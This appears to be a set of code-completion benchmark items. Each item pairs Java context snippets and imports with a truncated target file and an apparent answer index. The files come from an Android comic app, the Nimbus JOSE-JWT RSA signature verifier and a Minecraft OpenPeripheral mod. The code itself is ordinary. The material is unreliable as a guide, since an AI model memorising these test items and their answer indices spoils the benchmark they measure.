y);\n\n\t\t\t\t\twebView.setLayoutParams(newLaParams);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tLog.d(Tag, \"setWebViewPos\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\t// 设置控件宽高\n\tpublic void setWebViewSize(final int width, final int height) {\n\t\tif (context == null)\n\t\t\treturn;\n\t\tcontext.runOnUiThread(new Runnable() {\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tif (webView == null)\n\t\t\t\t\t\treturn;\n\t\t\t\t\tLayoutParams laParams = (LayoutParams) webView\n\t\t\t\t\t\t\t.getLayoutParams();\n\t\t\t\t\tlaParams.width = width;\n\t\t\t\t\tlaParams.height = height;\n\n\t\t\t\t\twebView.setLayoutParams(laParams);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tLog.d(Tag, \"setWebViewSize\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\t// 移除webView\n\tpublic void removeWebView() {\n\t\tif (context == null)\n\t\t\treturn;\n\t\tcontext.runOnUiThread(new Runnable() {\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tif (webView != null) {\n\t\t\t\t\t\tlayout.removeView(webView);\n\t\t\t\t\t\twebView = null;\n\t\t\t\t\t}\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tLog.d(Tag, \"removeWebView\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\t// 打开浏览器\n\tpublic void browserOpenURL(final String url) {\n\t\tcontext.runOnUiThread(new Runnable() {\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tif (context == null)\n\t\t\t\t\t\treturn;\n\t\t\t\t\tIntent intent = new Intent();\n\t\t\t\t\tintent.setAction(\"android.intent.action.VIEW\");\n\t\t\t\t\tUri content_url = Uri.parse(url);\n\t\t\t\t\tintent.setData(content_url);\n\t\t\t\t\tcontext.startActivity(intent);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tLog.d(Tag, \"browserOpenURL\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n}", "public class PhoneNet extends Activity{\n\n\tprivate static PhoneNet instance = null;\n\n\tprivate static Activity net;\n\t\n public static PhoneNet getInstance()\n {\n if\t(instance == null)\n {\n instance = new PhoneNet();\n }\n return instance;\n }\n\t\n public void setContext(Activity cons){\n \tnet = cons;\n }\n \n public static String returnMacString(){\n \treturn getInstance().getLocalMacAddressFromWifiInfo();\n }\n \n public static int returnType(){\n \treturn getInstance().getAPNType();\n }\n \n\tpublic String getLocalMacAddressFromWifiInfo(){\n\t\t\n\t\t\n WifiManager wifi = (WifiManager) net.getSystemService(Context.WIFI_SERVICE); \n WifiInfo info = wifi.getConnectionInfo(); \n String str = null; \n str = info.getMacAddress(); \n \n if(str==null) \n { \n \n } \n\n return str;\n }\n\t\n\t public int getAPNType(){\n\t\t\t\n\t\t\tint netType = -1; \n\t\t\t \n\t\t\t ConnectivityManager connMgr = (ConnectivityManager) net.getSystemService(Context.CONNECTIVITY_SERVICE); \n\t\t\t\n\t\t\t NetworkInfo networkInfo = connMgr.getActiveNetworkInfo(); \n\t\t\t \n\t\t\t \n\t\t\t \n\t\t\t if(networkInfo==null){ \n\t\t\t \n\t\t\t return netType; \n\t\t\t \n\t\t\t } \n\t\t\t \n\t\t\t int nType = networkInfo.getType(); \n\t\t\t\n\t\t\t if(nType==ConnectivityManager.TYPE_MOBILE){ \n\t\t\t \n\t\t\t Log.e(\"networkInfo.getExtraInfo()\", \"networkInfo.getExtraInfo() is \"+networkInfo.getExtraInfo()); \n\t\t\t \n\t\t\t if(networkInfo.getExtraInfo().toLowerCase().equals(\"cmnet\")){ \n\t\t\t \n\t\t\t netType = 2; \n\t\t\t \n\t\t\t } \n\t\t\t \n\t\t\t else{ \n\t\t\t \n\t\t\t netType = 3; \n\t\t\t \n\t\t\t } \n\t\t\t \n\t\t\t } \n\t\t\t \n\t\t\t else if(nType==ConnectivityManager.TYPE_WIFI){ \n\t\t\t \n\t\t\t netType = 1; \n\t\t\t\n\t\t\t } \n\t\t\t Log.d(\"com.dmzj.manhua\", \"DSFDSFDSFDSFDSFDS\");\n\t\t\t return netType; \n\t\t\t\n\t\t}\n}", "public class AnalyticsHome\n{\t\n\tstatic private Context mContext;\n\t\n\tpublic static void init(Activity activity)\n\t{\n\t\tAnalyticsHome.mContext = activity;\n\t\t\n//\t\tMobclickAgent.setDebugMode(true);\n// SDK在统计Fragment时,需要关闭Activity自带的页面统计,\n//\t\t然后在每个页面中重新集成页面统计的代码(包括调用了 onResume 和 onPause 的Activity)。\n\t\tMobclickAgent.openActivityDurationTrack(false);\n//\t\tMobclickAgent.setAutoLocation(true);\n//\t\tMobclickAgent.setSessionContinueMillis(1000);\n\t\t\n\t\tMobclickAgent.updateOnlineConfig(AnalyticsHome.mContext);\n\t}\n\t\n\tpublic static void startWithAppkey(String appkey, String channel)\n\t{\n\t\tAnalyticsConfig.setAppkey(appkey);\n\t\tAnalyticsConfig.setChannel(channel);\n\t}\n\t\n\tpublic static void onPageStart(String viewID) \n\t{\n\t\tMobclickAgent.onPageStart( viewID );\n\t\tonResume();\n\t}\n\t\n\tpublic static void onPageEnd(String viewID)\n\t{\n\t\tMobclickAgent.onPageEnd(viewID);\n\t\tonPause();\n\t}\n\t\n\tpublic static void onResume() \n\t{\n\t\tMobclickAgent.onResume(AnalyticsHome.mContext);\n\t}\n\t\n\tpublic static void onPause()\n\t{\n\t\tMobclickAgent.onPause(AnalyticsHome.mContext);\n\t}\n\t\n\t//0\n\tpublic static void onEventBegin(String eventId)\n\t{\n\t\tMobclickAgent.onEventBegin(AnalyticsHome.mContext, eventId);\n\t}\n\t\n\tpublic static void onEventEnd(String eventId)\n\t{\n\t\tMobclickAgent.onEventEnd(AnalyticsHome.mContext, eventId);\n\t}\n\t\n\tpublic static void onEvent(String eventId)\n\t{\n\t\tMobclickAgent.onEvent(AnalyticsHome.mContext, eventId);\n\t}\n\t\n\t//1\n\tpublic static void onEventBegin(String eventId, String value)\n\t{\n\t\tMobclickAgent.onEventBegin(AnalyticsHome.mContext, eventId, value);\n\t}\n\t\n\tpublic static void onEventEnd(String eventId, String value)\n\t{\n\t\tMobclickAgent.onEventEnd(AnalyticsHome.mContext, eventId, value);\n\t}\n\t\n\tpublic static void onEvent(String eventId, String value)\n\t{\n\t\tSystem.out.println(\"----x\" + eventId + value);\n\t\tMobclickAgent.onEvent(AnalyticsHome.mContext, eventId, value);\n\t}\n\t\n\t//2\n\tpublic static void onEvent(String eventId, HashMap<String,String> map)\n\t{\n\t\tMobclickAgent.onEvent(AnalyticsHome.mContext, eventId, map);\n\t}\n\t\n\tpublic static void onEventValue(String eventId, Map<String,String> map, int value)\n\t{\n\t\tMobclickAgent.onEventValue(AnalyticsHome.mContext, eventId, map, value);\n\t}\n}" ]
import org.CrossApp.lib.Cocos2dxActivity; import org.CrossApp.lib.Cocos2dxGLSurfaceView; import com.baidu.android.pushservice.PushConstants; import com.baidu.android.pushservice.PushManager; import com.dmzj.manhua.openapi.AccessTokenKeeper; import com.dmzj.manhua.openapi.OpenApiHelper; import com.dmzj.manhua.openapi.SinaOpenApi; import com.dmzj.manhua.openapi.TencentOpenApi; import com.dmzj.manhua.push.MessagePushTool; import com.dmzj.manhua.push.Utils; import android.content.Context; import android.content.Intent; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.text.TextUtils; import android.util.Log; import android.widget.ImageView; import com.component.impl.WebViewCtrl; import com.jni.PhoneNet; import com.umeng.AnalyticsHome;
package com.dmzj.manhua; public class HelloCpp extends Cocos2dxActivity{ //推送的json数据 public static final String INTENT_EXTRA_TITLE = "intent_extra_title"; public static final String INTENT_EXTRA_DESC = "intent_extra_desc"; public static final String INTENT_EXTRA_PUSHMSG = "intent_extra_pushmsg"; private static final String TAG = "HelloCpp"; private Handler mDefaultHandler; private SinaOpenApi sinaAPI; private TencentOpenApi tencentAPI; private OpenApiHelper mOpenApiHelper; protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); WebViewCtrl.init(this); PhoneNet.getInstance().setContext(this); initWithApiKey(); initEnviroment(); AnalyticsHome.init(this); /*** sinaAPI = new SinaOpenApi(HelloCpp.this); sinaAPI.getAccessToken(); **/ /*** Handler mHandler = new Handler(); mHandler.postDelayed(new Runnable() { @Override public void run() { tencentAPI = new TencentOpenApi(HelloCpp.this); tencentAPI.getAccessToken(); } }, 2000); **/ checkPushInfo(); } @Override protected void onNewIntent(Intent intent) { super.onNewIntent(intent); } private void initEnviroment(){ mDefaultHandler = new Handler(){ @Override public void handleMessage(Message msg) { onHandleMessage(msg); } }; mOpenApiHelper = new OpenApiHelper(this); } public Cocos2dxGLSurfaceView onCreateView() { Cocos2dxGLSurfaceView glSurfaceView = new Cocos2dxGLSurfaceView(this); // HelloCpp should create stencil buffer glSurfaceView.setEGLConfigChooser(5, 6, 5, 0, 16, 8); return glSurfaceView; } static { System.loadLibrary("CrossApp_cpp"); } private void onHandleMessage(Message msg){ switch (msg.what) { // case OpenApiHelper.MSG_WHAT_PLAT_QQ: // tencentAPI = new TencentOpenApi(HelloCpp.this); // tencentAPI.getAccessToken(); // break; // case OpenApiHelper.MSG_WHAT_PLAT_SINA: // sinaAPI = new SinaOpenApi(HelloCpp.this); // sinaAPI.getAccessToken(); // break; // case SinaOpenApi.MSG_WHAT_SINATOKEN: // String token = AccessTokenKeeper.readAccessToken(HelloCpp.this).getToken(); // OpenApiHelper.onTokenReturn(OpenApiHelper.PLAT_SINA, token ,AccessTokenKeeper.readAccessToken(HelloCpp.this).getUid()); // break; // case TencentOpenApi.MSG_WHAT_QQTOKEN: // OpenApiHelper.onTokenReturn(OpenApiHelper.PLAT_QQ, tencentAPI.getmTencent().getQQToken().getAccessToken(),tencentAPI.getmTencent().getQQToken().getOpenId()); // break; default: break; } } private void initWithApiKey() { // Push: 无账号初始化,用api key绑定 if(!Utils.hasBind(getApplicationContext())) { PushManager.startWork(getApplicationContext(), PushConstants.LOGIN_TYPE_API_KEY, Utils.getMetaValue(HelloCpp.this, "api_key")); } } @Override public void onActivityResult(int requestCode, int resultCode, Intent intent) { super.onActivityResult(requestCode, resultCode, intent); // if (sinaAPI!=null) { // sinaAPI.getmSsoHandler().authorizeCallBack(requestCode, resultCode, intent); // } // if(tencentAPI!=null){ // Log.d(TAG, "onActivityResult"); // tencentAPI.onActivityResult(requestCode, resultCode, intent); // } } public Handler getmDefaultHandler() { return mDefaultHandler; } public void setmDefaultHandler(Handler mDefaultHandler) { this.mDefaultHandler = mDefaultHandler; } private void checkPushInfo(){ if (getIntent().getStringExtra(INTENT_EXTRA_PUSHMSG)!=null) {
MessagePushTool.onMessageObtain(HelloCpp.this, getIntent().getStringExtra(INTENT_EXTRA_TITLE),
4
gesellix/Nimbus-JOSE-JWT
src/main/java/com/nimbusds/jose/crypto/RSASSAVerifier.java
[ "public class JOSEException extends Exception {\n\n\n\t/**\n\t * Creates a new JOSE exception with the specified message.\n\t *\n\t * @param message The exception message.\n\t */\n\tpublic JOSEException(final String message) {\n\t\t\n\t\tsuper(message);\n\t}\n\t\n\t\n\t/**\n\t * Creates a new JOSE exception with the specified message and cause.\n\t *\n\t * @param message The exception message.\n\t * @param cause The exception cause.\n\t */\n\tpublic JOSEException(final String message, final Throwable cause) {\n\t\t\n\t\tsuper(message, cause);\n\t}\n}", "public interface JWSHeaderFilter extends HeaderFilter {\n\n\n\t/**\n\t * Gets the names of the accepted JWS algorithms. These correspond to \n\t * the {@code alg} JWS header parameter.\n\t *\n\t * @return The accepted JWS algorithms as a read-only set, empty set if \n\t * none.\n\t */\n\tpublic Set<JWSAlgorithm> getAcceptedAlgorithms();\n\t\n\t\n\t/**\n\t * Sets the names of the accepted JWS algorithms. These correspond to \n\t * the {@code alg} JWS header parameter. \n\t *\n\t * @param acceptedAlgs The accepted JWS algorithms. Must be a subset of\n\t * the supported algorithms and not {@code null}.\n\t */\n\tpublic void setAcceptedAlgorithms(Set<JWSAlgorithm> acceptedAlgs);\n}", "public interface JWSVerifier extends JWSAlgorithmProvider {\n\n\n\t/**\n\t * Gets the JWS header filter associated with the verifier. Specifies the\n\t * names of those {@link #supportedAlgorithms supported JWS algorithms} and \n\t * header parameters that the verifier is configured to accept.\n\t *\n\t * <p>Attempting to {@link #verify verify} a JWS object signature with an\n\t * algorithm or header parameter that is not accepted must result in a \n\t * {@link JOSEException}.\n\t *\n\t * @return The JWS header filter.\n\t */\n\tpublic JWSHeaderFilter getJWSHeaderFilter();\n\t\n\t\n\t/**\n\t * Verifies the specified {@link JWSObject#getSignature signature} of a\n\t * {@link JWSObject JWS object}.\n\t *\n\t * @param header The JSON Web Signature (JWS) header. Must \n\t * specify an accepted JWS algorithm, must contain\n\t * only accepted header parameters, and must not be\n\t * {@code null}.\n\t * @param signedContent The signed content. Must not be {@code null}.\n\t * @param signature The signature part of the JWS object. Must not\n\t * be {@code null}.\n\t *\n\t * @return {@code true} if the signature was successfully verified, else\n\t * {@code false}.\n\t *\n\t * @throws JOSEException If the JWS algorithm is not accepted, if a header\n\t * parameter is not accepted, or if signature \n\t * verification failed for some other reason.\n\t */\n\tpublic boolean verify(final ReadOnlyJWSHeader header, \n\t final byte[] signedContent, \n\t final Base64URL signature)\n\t\tthrows JOSEException;\n}", "public interface ReadOnlyJWSHeader extends ReadOnlyCommonSEHeader {\n\t\n\t\n\t/**\n\t * Gets the algorithm ({@code alg}) parameter.\n\t *\n\t * @return The algorithm parameter.\n\t */\n\t@Override\n\tpublic JWSAlgorithm getAlgorithm();\n}", "@Immutable\npublic class Base64URL implements JSONAware {\n\n\n\t/**\n\t * UTF-8 is the required charset for all JWTs.\n\t */\n\tprivate static final String CHARSET = \"utf-8\";\n\t\n\t\n\t/**\n\t * The Base64URL value.\n\t */\n\tprivate final String value;\n\t\n\t\n\t/**\n\t * Creates a new Base64URL-encoded object.\n\t *\n\t * @param base64URL The Base64URL-encoded object value. The value is not\n\t * validated for having characters from a Base64URL \n\t * alphabet. Must not be {@code null}.\n\t */\n\tpublic Base64URL(final String base64URL) {\n\t\n\t\tif (base64URL == null)\n\t\t\tthrow new IllegalArgumentException(\"The Base64URL value must not be null\");\n\t\t\n\t\tvalue = base64URL;\n\t}\n\t\n\t\n\t/**\n\t * Decodes this Base64URL object to a byte array.\n\t *\n\t * @return The resulting byte array.\n\t */\n\tpublic byte[] decode() {\n\t\n\t\treturn Base64.decodeBase64(value);\n\t}\n\t\n\t\n\t/**\n\t * Decodes this Base64URL object to a string.\n\t *\n\t * @return The resulting string, in the UTF-8 character set.\n\t */\n\tpublic String decodeToString() {\n\t\n\t\ttry {\n\t\t\treturn new String(decode(), CHARSET);\n\t\t\t\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\n\t\t\t// UTF-8 should always be supported\n\t\t\treturn \"\";\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Returns a JSON string representation of this object.\n\t *\n\t * @return The JSON string representation of this object.\n\t */\n\tpublic String toJSONString() {\n\t\n\t\treturn \"\\\"\" + JSONValue.escape(value) + \"\\\"\";\n\t}\n\t\n\t\n\t/**\n\t * Returns a Base64URL string representation of this object.\n\t *\n\t * @return The Base64URL string representation.\n\t */\n\tpublic String toString() {\n\t\n\t\treturn value;\n\t}\n\t\n\t\n\t/**\n\t * Overrides {@code Object.hashCode()}.\n\t *\n\t * @return The object hash code.\n\t */\n\tpublic int hashCode() {\n\n\t\treturn value.hashCode();\n\t}\n\n\n\t/**\n\t * Overrides {@code Object.equals()}.\n\t *\n\t * @param object The object to compare to.\n\t *\n\t * @return {@code true} if the objects have the same value, otherwise\n\t * {@code false}.\n\t */\n\tpublic boolean equals(final Object object) {\n\n\t\treturn object instanceof Base64URL && this.toString().equals(object.toString());\n\t}\n\t\n\t\n\t/**\n\t * Base64URL-encode the specified string.\n\t *\n\t * @param text The string to encode. Must be in the UTF-8 character set\n\t * and not {@code null}.\n\t *\n\t * @return The resulting Base64URL object.\n\t */\n\tpublic static Base64URL encode(final String text) {\n\t\n\t\ttry {\n\t\t\treturn encode(text.getBytes(CHARSET));\n\t\t\t\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\n\t\t\t// UTF-8 should always be supported\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Base64URL-encode the specified byte array.\n\t *\n\t * @param bytes The byte array to encode. Must not be {@code null}.\n\t *\n\t * @return The resulting Base64URL object.\n\t */\n\tpublic static Base64URL encode(final byte[] bytes) {\n\t\n\t\treturn new Base64URL(Base64.encodeBase64URLSafeString(bytes));\n\t}\n}" ]
import java.util.HashSet; import java.util.Set; import java.security.Signature; import java.security.InvalidKeyException; import java.security.SignatureException; import java.security.interfaces.RSAPublicKey; import net.jcip.annotations.ThreadSafe; import com.nimbusds.jose.JOSEException; import com.nimbusds.jose.JWSHeaderFilter; import com.nimbusds.jose.JWSVerifier; import com.nimbusds.jose.ReadOnlyJWSHeader; import com.nimbusds.jose.util.Base64URL;
package com.nimbusds.jose.crypto; /** * RSA Signature-Scheme-with-Appendix (RSASSA) verifier of * {@link com.nimbusds.jose.JWSObject JWS objects}. This class is thread-safe. * * <p>Supports the following JSON Web Algorithms (JWAs): * * <ul> * <li>{@link com.nimbusds.jose.JWSAlgorithm#RS256} * <li>{@link com.nimbusds.jose.JWSAlgorithm#RS384} * <li>{@link com.nimbusds.jose.JWSAlgorithm#RS512} * </ul> * * <p>Accepts the following JWS header parameters: * * <ul> * <li>{@code alg} * <li>{@code typ} * <li>{@code cty} * </ul> * * @author Vladimir Dzhuvinov * @version $version$ (2012-10-23) */ @ThreadSafe public class RSASSAVerifier extends RSASSAProvider implements JWSVerifier { /** * The accepted JWS header parameters. */ private static final Set<String> ACCEPTED_HEADER_PARAMETERS; /** * Initialises the accepted JWS header parameters. */ static { Set<String> params = new HashSet<String>(); params.add("alg"); params.add("typ"); params.add("cty"); ACCEPTED_HEADER_PARAMETERS = params; } /** * The JWS header filter. */ private DefaultJWSHeaderFilter headerFilter; /** * The public RSA key. */ private final RSAPublicKey publicKey; /** * Creates a new RSA Signature-Scheme-with-Appendix (RSASSA) verifier. * * @param publicKey The public RSA key. Must not be {@code null}. */ public RSASSAVerifier(final RSAPublicKey publicKey) { if (publicKey == null) throw new IllegalArgumentException("The public RSA key must not be null"); this.publicKey = publicKey; headerFilter = new DefaultJWSHeaderFilter(supportedAlgorithms(), ACCEPTED_HEADER_PARAMETERS); } /** * Gets the public RSA key. * * @return The public RSA key. */ public RSAPublicKey getPublicKey() { return publicKey; } @Override
public JWSHeaderFilter getJWSHeaderFilter() {
1
OpenMods/OpenPeripheral-Addons
src/main/java/openperipheral/addons/proxy/ClientProxy.java
[ "@Mod(modid = OpenPeripheralAddons.MODID, name = \"OpenPeripheralAddons\", version = \"$VERSION$\", dependencies = \"required-after:OpenMods@[$LIB-VERSION$,$NEXT-LIB-VERSION$);required-after:OpenPeripheralApi@$OP-API-VERSION$;after:ComputerCraft@[1.70,]\")\npublic class OpenPeripheralAddons {\n\n\tpublic static final String MODID = \"OpenPeripheral\";\n\n\tpublic static class Blocks implements BlockInstances {\n\t\t@RegisterBlock(name = \"glassesbridge\", tileEntity = TileEntityGlassesBridge.class, itemBlock = ItemGlassesBridge.class, textureName = \"bridge\")\n\t\tpublic static BlockGlassesBridge glassesBridge;\n\n\t\t@RegisterBlock(name = \"pim\", tileEntity = TileEntityPIM.class, unlocalizedName = \"playerinventory\", textureName = \"pim_blue\")\n\t\tpublic static BlockPIM pim;\n\n\t\t@RegisterBlock(name = \"sensor\", tileEntity = TileEntitySensor.class)\n\t\tpublic static BlockSensor sensor;\n\n\t\t@RegisterBlock(name = \"selector\", tileEntity = TileEntitySelector.class, textureName = \"selector_side\")\n\t\tpublic static BlockSelector selector;\n\t}\n\n\tpublic static class Items implements ItemInstances {\n\t\t@RegisterItem(name = \"glasses\")\n\t\tpublic static ItemGlasses glasses;\n\n\t\t@RegisterItem(name = \"keyboard\")\n\t\tpublic static ItemKeyboard keyboard;\n\n\t\t@RegisterItem(name = \"generic\", textureName = RegisterItem.NONE)\n\t\tpublic static ItemOPGeneric generic;\n\t}\n\n\tpublic static int renderId;\n\n\t@Instance(MODID)\n\tpublic static OpenPeripheralAddons instance;\n\n\t@SidedProxy(clientSide = \"openperipheral.addons.proxy.ClientProxy\", serverSide = \"openperipheral.addons.proxy.ServerProxy\")\n\tpublic static IProxy proxy;\n\n\tpublic static CreativeTabs tabOpenPeripheralAddons = new CreativeTabs(\"tabOpenPeripheralAddons\") {\n\t\t@Override\n\t\tpublic Item getTabIconItem() {\n\t\t\treturn ObjectUtils.firstNonNull(Items.glasses, net.minecraft.init.Items.fish);\n\t\t}\n\t};\n\n\tprivate final ModStartupHelper startupHelper = new ModStartupHelper(\"openperipheral\") {\n\n\t\t@Override\n\t\tprotected void setupIds(GameConfigProvider gameConfig) {\n\t\t\tgameConfig.setTextureModId(\"openperipheraladdons\");\n\t\t}\n\n\t\t@Override\n\t\tprotected void populateConfig(Configuration config) {\n\t\t\tConfigProcessing.processAnnotations(\"OpenPeripheralAddons\", config, Config.class);\n\t\t}\n\t};\n\n\t@EventHandler\n\tpublic void preInit(FMLPreInitializationEvent evt) {\n\t\tstartupHelper.registerBlocksHolder(OpenPeripheralAddons.Blocks.class);\n\t\tstartupHelper.registerItemsHolder(OpenPeripheralAddons.Items.class);\n\n\t\tif (Loader.isModLoaded(Mods.COMPUTERCRAFT)) ModuleComputerCraft.preInit(startupHelper);\n\t\tif (Loader.isModLoaded(Mods.RAILCRAFT)) ModuleRailcraft.preInit(startupHelper);\n\n\t\tstartupHelper.preInit(evt.getSuggestedConfigurationFile());\n\n\t\tRecipes.register();\n\t\tMetasGeneric.registerItems();\n\n\t\tNetworkEventManager.INSTANCE\n\t\t\t\t.startRegistration()\n\t\t\t\t.register(TerminalEvent.PrivateDrawableReset.class)\n\t\t\t\t.register(TerminalEvent.PublicDrawableReset.class)\n\t\t\t\t.register(TerminalEvent.PrivateStructureReset.class)\n\t\t\t\t.register(TerminalEvent.PublicStructureReset.class)\n\n\t\t\t\t.register(TerminalEvent.PrivateClear.class)\n\t\t\t\t.register(TerminalEvent.PublicClear.class)\n\n\t\t\t\t.register(TerminalEvent.PrivateDrawableData.class)\n\t\t\t\t.register(TerminalEvent.PublicDrawableData.class)\n\t\t\t\t.register(TerminalEvent.PrivateStructureData.class)\n\t\t\t\t.register(TerminalEvent.PublicStructureData.class)\n\n\t\t\t\t.register(GlassesSignalCaptureEvent.class)\n\t\t\t\t.register(GlassesStopCaptureEvent.class)\n\t\t\t\t.register(GlassesMouseWheelEvent.class)\n\t\t\t\t.register(GlassesMouseButtonEvent.class)\n\t\t\t\t.register(GlassesComponentMouseWheelEvent.class)\n\t\t\t\t.register(GlassesComponentMouseButtonEvent.class)\n\t\t\t\t.register(GlassesMouseDragEvent.class)\n\t\t\t\t.register(GlassesKeyDownEvent.class)\n\t\t\t\t.register(GlassesKeyUpEvent.class)\n\t\t\t\t.register(GlassesChangeBackgroundEvent.class)\n\t\t\t\t.register(GlassesSetDragParamsEvent.class)\n\t\t\t\t.register(GlassesSetKeyRepeatEvent.class)\n\t\t\t\t.register(GlassesSetGuiVisibilityEvent.class);\n\n\t\tItems.generic.initRecipes();\n\n\t\tMinecraftForge.EVENT_BUS.register(TerminalManagerServer.instance.createForgeListener());\n\t\tFMLCommonHandler.instance().bus().register(TerminalManagerServer.instance.createFmlListener());\n\n\t\tNetworkRegistry.INSTANCE.registerGuiHandler(instance, OpenMods.proxy.wrapHandler(null));\n\n\t\tTerminalIdAccess.instance.register(new TerminalIdAccess.InterfaceGetter());\n\t\tTerminalIdAccess.instance.register(new TerminalIdAccess.InterfaceSetter());\n\n\t\tTerminalIdAccess.instance.register(new NbtGuidProviders.NbtGetter());\n\t\tTerminalIdAccess.instance.register(new NbtGuidProviders.NbtSetter());\n\n\t\tApiFactory.instance.createApi(ApiHolder.class, IApiInterface.class, evt.getAsmData(),\n\t\t\t\tnew ApiProviderSetup<IApiInterface>() {\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void setup(ApiProviderRegistry<IApiInterface> registry) {\n\t\t\t\t\t\tregistry.registerInstance(TerminalIdAccess.instance);\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\tproxy.preInit();\n\t}\n\n\t@EventHandler\n\tpublic void handleRenames(FMLMissingMappingsEvent event) {\n\t\tstartupHelper.handleRenames(event);\n\t}\n\n\t@EventHandler\n\tpublic void init(FMLInitializationEvent evt) {\n\t\tproxy.init();\n\t\tproxy.registerRenderInformation();\n\n\t\tOpcAccess.checkApiPresent();\n\n\t\tOpcAccess.adapterRegistry.register(new AdapterSensor());\n\n\t\tOpcAccess.itemStackMetaBuilder.register(new ItemTerminalMetaProvider());\n\t\tOpcAccess.itemStackMetaBuilder.register(new NbtTerminalMetaProvider());\n\n\t\tif (Loader.isModLoaded(Mods.COMPUTERCRAFT)) ModuleComputerCraft.init();\n\t}\n}", "public static class Blocks implements BlockInstances {\n\t@RegisterBlock(name = \"glassesbridge\", tileEntity = TileEntityGlassesBridge.class, itemBlock = ItemGlassesBridge.class, textureName = \"bridge\")\n\tpublic static BlockGlassesBridge glassesBridge;\n\n\t@RegisterBlock(name = \"pim\", tileEntity = TileEntityPIM.class, unlocalizedName = \"playerinventory\", textureName = \"pim_blue\")\n\tpublic static BlockPIM pim;\n\n\t@RegisterBlock(name = \"sensor\", tileEntity = TileEntitySensor.class)\n\tpublic static BlockSensor sensor;\n\n\t@RegisterBlock(name = \"selector\", tileEntity = TileEntitySelector.class, textureName = \"selector_side\")\n\tpublic static BlockSelector selector;\n}", "public class TerminalManagerClient {\n\n\tpublic static class DrawableHitInfo {\n\t\tpublic final int id;\n\t\tpublic final SurfaceType surfaceType;\n\t\tpublic final float dx;\n\t\tpublic final float dy;\n\t\tpublic final int z;\n\n\t\tpublic DrawableHitInfo(int id, SurfaceType surfaceType, float dx, float dy, int z) {\n\t\t\tthis.id = id;\n\t\t\tthis.surfaceType = surfaceType;\n\t\t\tthis.dx = dx;\n\t\t\tthis.dy = dy;\n\t\t\tthis.z = z;\n\t\t}\n\t}\n\n\tpublic static final TerminalManagerClient instance = new TerminalManagerClient();\n\n\tprivate TerminalManagerClient() {}\n\n\tprivate final Table<Long, SurfaceType, SurfaceClient> surfaces = HashBasedTable.create();\n\n\tprivate Optional<Long> terminalGuid = Optional.absent();\n\n\tprivate void tryDrawSurface(long guid, SurfaceType type, float partialTicks, ScaledResolution resolution) {\n\t\tSurfaceClient surface = surfaces.get(guid, type);\n\t\tif (surface != null) {\n\t\t\tGL11.glPushAttrib(GL11.GL_COLOR_BUFFER_BIT | GL11.GL_ENABLE_BIT);\n\t\t\tGL11.glShadeModel(GL11.GL_SMOOTH);\n\n\t\t\tfinal RenderState renderState = new RenderState();\n\t\t\trenderState.forceKnownState();\n\n\t\t\tfor (Drawable drawable : surface.getSortedDrawables())\n\t\t\t\tif (drawable.shouldRender()) drawable.draw(resolution, renderState, partialTicks);\n\t\t\tGL11.glPopAttrib();\n\t\t}\n\t}\n\n\tpublic class ForgeBusListener {\n\n\t\t@SubscribeEvent\n\t\tpublic void onRenderGameOverlay(RenderGameOverlayEvent.Pre evt) {\n\t\t\tif (evt.type == ElementType.ALL) {\n\t\t\t\tGuiScreen gui = FMLClientHandler.instance().getClient().currentScreen;\n\n\t\t\t\tif (gui instanceof GuiCapture) {\n\t\t\t\t\tfinal GuiCapture capture = (GuiCapture)gui;\n\t\t\t\t\t// this must be here, since there are some elements (like food bar) that are overriden every tick\n\t\t\t\t\tcapture.forceGuiElementsState();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onRenderGameOverlay(RenderGameOverlayEvent.Post evt) {\n\t\t\tif (evt.type == ElementType.HELMET) {\n\t\t\t\tif (terminalGuid.isPresent()) {\n\t\t\t\t\tfinal long guid = terminalGuid.get();\n\t\t\t\t\ttryDrawSurface(guid, SurfaceType.PRIVATE, evt.partialTicks, evt.resolution);\n\t\t\t\t\ttryDrawSurface(guid, SurfaceType.GLOBAL, evt.partialTicks, evt.resolution);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onItemTooltip(ItemTooltipEvent evt) {\n\t\t\tif (evt.itemStack != null && NbtGuidProviders.hasTerminalCapabilities(evt.itemStack)) {\n\t\t\t\tfinal Optional<Long> guid = NbtGuidProviders.getTerminalGuid(evt.itemStack);\n\t\t\t\tif (guid.isPresent()) {\n\t\t\t\t\tevt.toolTip.add(StatCollector.translateToLocalFormatted(\"openperipheral.terminal.key\", TerminalUtils.formatTerminalId(guid.get())));\n\t\t\t\t} else {\n\t\t\t\t\tevt.toolTip.add(StatCollector.translateToLocal(\"openperipheral.terminal.unbound\"));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate SurfaceClient getOrCreateSurface(TerminalEvent.Data evt) {\n\t\t\tfinal SurfaceType surfaceType = evt.getSurfaceType();\n\t\t\tSurfaceClient surface = surfaces.get(evt.terminalId, surfaceType);\n\n\t\t\tif (surface == null) {\n\t\t\t\tsurface = evt.createSurface();\n\t\t\t\tsurfaces.put(evt.terminalId, surfaceType, surface);\n\t\t\t}\n\t\t\treturn surface;\n\t\t}\n\n\t\t@SubscribeEvent\n\t\tpublic void onTerminalData(TerminalEvent.PrivateDrawableData evt) 